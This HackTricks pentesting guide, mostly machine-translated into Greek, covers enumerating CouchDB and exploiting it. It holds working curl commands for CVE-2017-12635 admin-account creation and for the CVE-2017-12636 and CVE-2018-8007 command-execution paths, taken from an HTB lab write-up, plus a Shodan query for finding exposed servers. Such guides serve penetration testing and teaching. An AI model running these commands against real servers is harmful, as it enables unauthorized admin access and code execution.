26 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
CouchDB είναι μια ευέλικτη και ισχυρή βάση δεδομένων προσανατολισμένη σε έγγραφα που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή χάρτη κλειδιού-τιμής μέσα σε κάθε έγγραφο. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαριστώνται ως ζεύγη κλειδιού/τιμής, λίστες ή χάρτες, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.
Κάθε έγγραφο που αποθηκεύεται στο CouchDB έχει ανατεθεί μια μοναδική ταυτότητα (_id
) σε επίπεδο εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται έναν αριθμό αναθεώρησης (_rev
). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική παρακολούθηση και διαχείριση αλλαγών, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων μέσα στη βάση δεδομένων.
Προεπιλεγμένη θύρα: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Αυτόματη Καταμέτρηση
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Manual Enumeration
Banner
curl http://IP:5984/
Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη έκδοση CouchDB. Η απάντηση θα πρέπει να μοιάζει κάπως με μία από τις παρακάτω:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Σημειώστε ότι αν προσπαθήσετε να αποκτήσετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα 401 Unauthorized
με κάτι σαν αυτό: {"error":"unauthorized","reason":"Authentication required."}
δεν θα μπορείτε να αποκτήσετε πρόσβαση στην πινακίδα ή σε οποιοδήποτε άλλο endpoint.
{% endhint %}
Info Enumeration
Αυτά είναι τα endpoints όπου μπορείτε να αποκτήσετε πρόσβαση με ένα GET αίτημα και να εξαγάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb.
/_active_tasks
Λίστα τρεχουσών εργασιών, συμπεριλαμβανομένου του τύπου εργασίας, ονόματος, κατάστασης και ID διαδικασίας./_all_dbs
Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην εγκατάσταση CouchDB./_cluster_setup
Επιστρέφει την κατάσταση του κόμβου ή του κλάσματος, σύμφωνα με τον οδηγό ρύθμισης κλάσματος./_db_updates
Επιστρέφει μια λίστα με όλα τα γεγονότα βάσης δεδομένων στην εγκατάσταση CouchDB. Η ύπαρξη της βάσης δεδομένων_global_changes
είναι απαραίτητη για τη χρήση αυτού του endpoint./_membership
Εμφανίζει τους κόμβους που είναι μέρος του κλάσματος ωςcluster_nodes
. Το πεδίοall_nodes
εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που είναι μέρος του κλάσματος./_scheduler/jobs
Λίστα εργασιών αναπαραγωγής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, ID αναπαραγωγής, ιστορικό πρόσφατων γεγονότων και μερικά άλλα πράγματα./_scheduler/docs
Λίστα καταστάσεων εγγράφων αναπαραγωγής. Περιλαμβάνει πληροφορίες σχετικά με όλα τα έγγραφα, ακόμη και σε καταστάσειςcompleted
καιfailed
. Για κάθε έγγραφο επιστρέφει το ID εγγράφου, τη βάση δεδομένων, το ID αναπαραγωγής, πηγή και προορισμό, και άλλες πληροφορίες./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Το endpoint/_node/{node-name}
μπορεί να χρησιμοποιηθεί για να επιβεβαιώσει το όνομα κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν αποκτάτε πρόσβαση στο/_node/_local
για να ανακτήσετε αυτές τις πληροφορίες./_node/{node-name}/_stats
Ο πόρος_stats
επιστρέφει ένα αντικείμενο JSON που περιέχει τις στατιστικές για τον τρέχοντα διακομιστή. Η κυριολεκτική συμβολοσειρά_local
χρησιμεύει ως ψευδώνυμο για το τοπικό όνομα κόμβου, έτσι για όλα τα URLs στατιστικών, το{node-name}
μπορεί να αντικατασταθεί με_local
, για να αλληλεπιδράσετε με τις στατιστικές του τοπικού κόμβου./_node/{node-name}/_system
Ο πόρος _system επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορες στατιστικές σε επίπεδο συστήματος για τον τρέχοντα διακομιστή_._ Μπορείτε να χρησιμοποιήσετε ___local
ως {node-name} για να αποκτήσετε πληροφορίες σχετικά με τον τρέχοντα κόμβο./_node/{node-name}/_restart
/_up
Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και έτοιμος να απαντήσει σε αιτήματα. Αν τοmaintenance_mode
είναιtrue
ήnolb
, το endpoint θα επιστρέψει μια απάντηση 404./_uuids
Ζητά ένα ή περισσότερους Καθολικά Μοναδικούς Αναγνωριστές (UUIDs) από την εγκατάσταση CouchDB./_reshard
Επιστρέφει έναν αριθμό ολοκληρωμένων, αποτυχημένων, τρεχουσών, σταματημένων και συνολικών εργασιών μαζί με την κατάσταση της ανακατανομής στο κλάσμα.
Περισσότερες ενδιαφέρουσες πληροφορίες μπορούν να εξαχθούν όπως εξηγείται εδώ: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Αν το αίτημα απαντήσει με 401 μη εξουσιοδοτημένο, τότε χρειάζεστε έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στη βάση δεδομένων:
curl -X GET http://user:password@IP:5984/_all_dbs
Για να βρείτε έγκυρα Credentials, θα μπορούσατε να προσπαθήσετε να bruteforce the service.
Αυτή είναι ένα παράδειγμα μιας απάντησης couchdb όταν έχετε αρκετά δικαιώματα για να καταγράψετε τις βάσεις δεδομένων (Είναι απλώς μια λίστα με dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με τη βάση δεδομένων (όπως αριθμό αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Λίστα Εγγράφων
List each entry inside a database
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Διαβάστε Έγγραφο
Διαβάστε το περιεχόμενο ενός εγγράφου μέσα σε μια βάση δεδομένων:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Χάρη στις διαφορές μεταξύ των αναλυτών JSON της Erlang και της JavaScript, μπορείτε να δημιουργήσετε έναν διαχειριστή χρήστη με διαπιστευτήρια hacktricks:hacktricks
με το ακόλουθο αίτημα:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια εδώ.
CouchDB RCE
Επισκόπηση Ασφαλείας Erlang Cookie
Παράδειγμα από εδώ.
Στην τεκμηρίωση του CouchDB, συγκεκριμένα στην ενότητα που αφορά τη ρύθμιση του cluster (σύνδεσμος), συζητείται η χρήση θυρών από το CouchDB σε λειτουργία cluster. Αναφέρεται ότι, όπως στη λειτουργία αυτόνομης λειτουργίας, χρησιμοποιείται η θύρα 5984
. Επιπλέον, η θύρα 5986
είναι για APIs τοπικού κόμβου, και σημαντικά, η Erlang απαιτεί την TCP θύρα 4369
για τον Erlang Port Mapper Daemon (EPMD), διευκολύνοντας την επικοινωνία κόμβων εντός ενός cluster Erlang. Αυτή η ρύθμιση σχηματίζει ένα δίκτυο όπου κάθε κόμβος είναι διασυνδεδεμένος με κάθε άλλο κόμβο.
Μια κρίσιμη συμβουλή ασφαλείας επισημαίνεται σχετικά με την θύρα 4369
. Εάν αυτή η θύρα γίνει προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από έναν μοναδικό αναγνωριστικό που ονομάζεται "cookie." Αυτό το cookie λειτουργεί ως προστατευτικό μέτρο. Για παράδειγμα, σε μια δεδομένη λίστα διαδικασιών, μπορεί να παρατηρηθεί το cookie με το όνομα "monster", υποδεικνύοντας τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Για όσους ενδιαφέρονται να κατανοήσουν πώς μπορεί να εκμεταλλευτεί αυτό το "cookie" για Remote Code Execution (RCE) στο πλαίσιο των συστημάτων Erlang, διατίθεται μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Περιγράφει τις μεθόδους για την εκμετάλλευση των Erlang cookies με μη εξουσιοδοτημένους τρόπους για την επίτευξη ελέγχου πάνω σε συστήματα. Μπορείτε να εξερευνήσετε τον λεπτομερή οδηγό για την κακή χρήση των Erlang cookies για RCE εδώ.
Εκμετάλλευση του CVE-2018-8007 μέσω Τροποποίησης του local.ini
Παράδειγμα από εδώ.
Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξετάστηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο local.ini
. Αν και δεν είναι άμεσα εφαρμόσιμη στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθούν δικαιώματα εγγραφής στο αρχείο local.ini
για σκοπούς εξερεύνησης. Λεπτομερή βήματα και παραδείγματα κώδικα παρέχονται παρακάτω, δείχνοντας τη διαδικασία.
Αρχικά, το περιβάλλον προετοιμάζεται διασφαλίζοντας ότι το αρχείο local.ini
είναι εγγράψιμο, επαληθεύεται με την καταγραφή των δικαιωμάτων:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Για να εκμεταλλευτεί την ευπάθεια, εκτελείται μια εντολή curl, στοχεύοντας τη ρύθμιση cors/origins
στο local.ini
. Αυτό εισάγει μια νέα προέλευση μαζί με επιπλέον εντολές στην ενότητα [os_daemons]
, με στόχο την εκτέλεση αυθαίρετου κώδικα:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Η επαλήθευση που ακολουθεί δείχνει την εισαγόμενη διαμόρφωση στο local.ini
, συγκρίνοντάς την με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Αρχικά, το αναμενόμενο αρχείο (/tmp/0xdf
) δεν υπάρχει, υποδεικνύοντας ότι η εισαγόμενη εντολή δεν έχει εκτελεστεί ακόμα. Περεταίρω έρευνα αποκαλύπτει ότι διαδικασίες σχετικές με το CouchDB εκτελούνται, συμπεριλαμβανομένης μιας που θα μπορούσε δυνητικά να εκτελέσει την εισαγόμενη εντολή:
root@canape:/home/homer/bin# ps aux | grep couch
Με την τερματισμένη διαδικασία CouchDB που έχει εντοπιστεί και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της εισαγόμενης εντολής, επιβεβαιωμένη από την ύπαρξη του προηγουμένως απολεσθέντος αρχείου:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Αυτή η εξερεύνηση επιβεβαιώνει τη βιωσιμότητα της εκμετάλλευσης του CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ιδίως την απαίτηση για εγ writable πρόσβαση στο αρχείο local.ini
. Τα παραδείγματα κώδικα και τα διαδικαστικά βήματα που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε ένα ελεγχόμενο περιβάλλον.
Για περισσότερες λεπτομέρειες σχετικά με το CVE-2018-8007, ανατρέξτε στην ανακοίνωση της mdsec: CVE-2018-8007.
Εξερεύνηση του CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini
Παράδειγμα από εδώ.
Μια ευπάθεια γνωστή ως CVE-2017-12636 εξερευνήθηκε, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διαδικασίας CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά τις πολλές αναφορές Proof of Concept (POC) που είναι διαθέσιμες online, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση CouchDB 2, που διαφέρει από την κοινώς στοχοποιημένη έκδοση 1.x. Τα αρχικά βήματα περιλαμβάνουν την επαλήθευση της έκδοσης CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των query servers:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Για να υποστηριχθεί η έκδοση 2.0 του CouchDB, χρησιμοποιείται μια νέα διαδρομή:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Οι προσπάθειες προσθήκης και εκτέλεσης ενός νέου διακομιστή ερωτήσεων συνάντησαν σφάλματα που σχετίζονται με άδειες, όπως υποδεικνύεται από την παρακάτω έξοδο:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Περαιτέρω έρευνα αποκάλυψε προβλήματα δικαιωμάτων με το local.ini
αρχείο, το οποίο δεν ήταν εγγράψιμο. Με την τροποποίηση των δικαιωμάτων του αρχείου με πρόσβαση root ή homer, κατέστη δυνατό να προχωρήσουμε:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Οι επόμενες προσπάθειες προσθήκης του query server ήταν επιτυχείς, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απάντηση. Η επιτυχής τροποποίηση του αρχείου local.ini
επιβεβαιώθηκε μέσω σύγκρισης αρχείων:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που χαρτογραφείται στον νεοαφιχθέντα διακομιστή ερωτημάτων:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A σύνοψη με μια εναλλακτική payload παρέχει περαιτέρω πληροφορίες σχετικά με την εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. Χρήσιμοι πόροι για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:
Shodan
port:5984 couchdb
Αναφορές
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the σχέδια συνδρομής!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.